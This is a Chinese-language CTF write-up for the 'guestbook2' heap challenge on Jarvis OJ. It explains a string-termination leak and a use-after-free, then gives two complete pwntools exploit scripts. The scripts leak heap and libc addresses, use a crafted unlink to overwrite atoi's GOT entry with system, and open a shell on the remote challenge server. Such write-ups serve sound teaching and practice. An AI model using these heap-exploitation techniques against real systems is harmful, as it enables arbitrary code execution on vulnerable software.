这里,我提供两种方法解题,一种是利用unlink的任意地址读写功能泄露libc基址,一种是用unsorted bin和use after free来泄露libc基址,两种方法都行。
我们可以看到没有开PIE,这就是一个好消息,说明我们可以很容易劫持got表改写内容。
进入IDA中分析题目:
典型的菜单题,有增删改查四个功能,可以说是非常典型了。
接下来让我们看看每个功能是不是有说明漏洞:
查功能:
由于原函数太长也没有什么东西,我们就看enter post函数。我们发现,输入函数是一个字符一个字符输入的,这可就不得了了,我们前面说到,输出要输出到结束符,而输入如果没有输入字符串的结束符,输出函数就会接着输出,这就可以输出一些我们想要的东西。
改功能:
和增功能差不多,也是这个输出函数的漏洞。
删功能:
这里很明显,free指针后没有置空,形成野指针。
1.首先,我们先申请四个堆块,然后立即释放第一个和第三个(第二个和第四个的作用是防止堆块前后合并),使得我们申请的堆块进入unsorted bin中(由于程序逻辑原因,我们申请的堆块最小是0x80,如果不理解,可以仔细看看增功能)。
2.根据输入输出函数的漏洞我们可以输出地址来。由于输出没有标识符的限定,我们可以输入小于等于8字节的字符串来覆盖fd,在输出时,bk就会跟着输出出来,在unsorted bin中,形成双向链表的bk指向下一个堆块的地址,这样我们就可以计算出heap的基地址了。
3.得到heap的基地址后,我们就可以使用unlink来实现任意地址读写了。关于unlink漏洞建议看ctf-wiki
4.在unlink构造完fake chunk后,我们就可以劫持got表啦。
#!/usr/bin/env python
from pwn import *
p=remote('pwn.jarvisoj.com',9879)
elf=ELF('./guestbook2')
libc=ELF('./libc.so.6')
def List():
p.recvuntil('Your choice: ')
p.sendline('1')
def new(note):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Length of new post: ')
p.sendline(str(len(note)))
p.recvuntil('Enter your post: ')
p.send(note)
def edit(index,note):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Post number: ')
p.sendline(str(index))
p.recvuntil('Length of post: ')
p.sendline(str(len(note)))
p.recvuntil('Enter your post: ')
p.send(note)
def delete(index):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Post number: ')
p.sendline(str(index))
new('a')
new('a')
new('a')
new('a')
delete(0)
delete(2)
new('12345678')
List()
p.recvuntil('12345678')
heap=u64(p.recv(4).ljust(8,'\x00'))-0x1940
print hex(heap)
delete(0)
delete(1)
delete(3)
payload1=p64(0)+p64(0x110)+p64(heap+0x30-0x18)+p64(heap+0x30-0x10)
new(payload1)
payload2='A'*0x80+p64(0x110)+p64(0x90)+'A'*0x80+(p64(0)+p64(0x91)+'A'*0x80)
new(payload2)
delete(2)
payload3='a'*8+p64(1)+p64(8)+p64(elf.got['atoi'])
edit(0,payload3)
List()
p.recvuntil('0. ')
atoi_addr=u64(p.recv(6).ljust(8,'\x00'))
print hex(atoi_addr)
libc_base=atoi_addr-libc.symbols['atoi']
system=libc_base+libc.symbols['system']
edit(0,p64(system))
p.recvuntil('Your choice: ')
p.send('/bin/sh')
p.interactive()
关于0x1940怎么来的,heap_base应该是main函数执行后程序分配到的第一个堆的基地址,而程序分配的第一个堆是索引表,IDA结合f5可以看到索引表堆块用户区大小是0x1810,索引表堆块的head占0x10,因此索引表堆块whole_size=0x1820;chunk0_bk指向的是chunk2,索引表堆块和chunk2之间隔了一个chunk0加一个chunk1,因此这块间隔的大小就是(0x10+0x80)*2=0x120;因此chunk0_bk所指向的位置到heap_base的总偏移量就等于0x1820+0x120=0x1940。
大致与上一个相同,但是有一点就是在泄露heap基址的同时,我们把libc基址也泄露出来。
#!/usr/bin/env python
from pwn import *
p=remote('pwn.jarvisoj.com',9879)
elf=ELF('./guestbook2')
libc=ELF('./libc.so.6')
def List():
p.recvuntil('Your choice: ')
p.sendline('1')
def new(note):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Length of new post: ')
p.sendline(str(len(note)))
p.recvuntil('Enter your post: ')
p.send(note)
def edit(index,note):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Post number: ')
p.sendline(str(index))
p.recvuntil('Length of post: ')
p.sendline(str(len(note)))
p.recvuntil('Enter your post: ')
p.send(note)
def delete(index):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Post number: ')
p.sendline(str(index))
new('a')
new('a')
new('a')
new('a')
delete(0)
delete(2)
new('12345678')
new('12345678')
List()
p.recvuntil('0. 12345678')
heap_base=u64(p.recv(4).ljust(8,'\x00'))-0x1940
p.recvuntil('2. 12345678')
offset=u64(p.recv(6).ljust(8,'\x00'))-88-0x3be760
system=libc.symbols['system']+offset
delete(3)
delete(2)
delete(1)
delete(0)
payload1=p64(0)+p64(0x21)+p64(heap_base+0x30-0x18)+p64(heap_base+0x30-0x10)+'a'*0x60
payload1+=p64(0x80)+p64(0x90)+'a'*0x80+p64(0)+p64(0x91)+'a'*0x80
new(payload1)
delete(1)
payload2=p64(8)+p64(1)+p64(8)+p64(elf.got['atoi'])
payload2=payload2.ljust(len(payload1),'A')
edit(0,payload2)
edit(0,p64(system))
p.recvuntil('Your choice: ')
p.send('/bin/sh\x00')
p.interactive()
在这里,我们会发现有一个0x3be760,他是怎么来的呢?
其实这个0x3be760是main_arena,而现在的chunk2的bk指向的就是unsorted bin的首地址。
在main_arena后面先有一个0x8的标志位,然后是fastbin[10],每个是8字节,一共80字节,所以,chunk2_bk – 88 = main_arena ,chunk2_bk – 88 – main_arena= libc_base ,其中main_arena = 0x3be760 .
然而main_arena怎么得到呢?这里提供两种方法:
1.使用malloc_trim查看
用IDA打开题目给你的libc文件:
找到malloc_trim函数
这个就是main_arena了
我们可以看一下malloc_trim的源码:
int
__malloc_trim (size_t s)
{
int result = 0;
if (__malloc_initialized < 0)
ptmalloc_init ();
mstate ar_ptr = &main_arena;
do
{
__libc_lock_lock (ar_ptr->mutex);
result |= mtrim (ar_ptr, s);
__libc_lock_unlock (ar_ptr->mutex);
ar_ptr = ar_ptr->next;
}
while (ar_ptr != &main_arena);
return result;
}
对比一下就可以看出来。
2.通过malloc_hook查看:
https://www.anquanke.com/post/id/162882
gaintbranch‘blog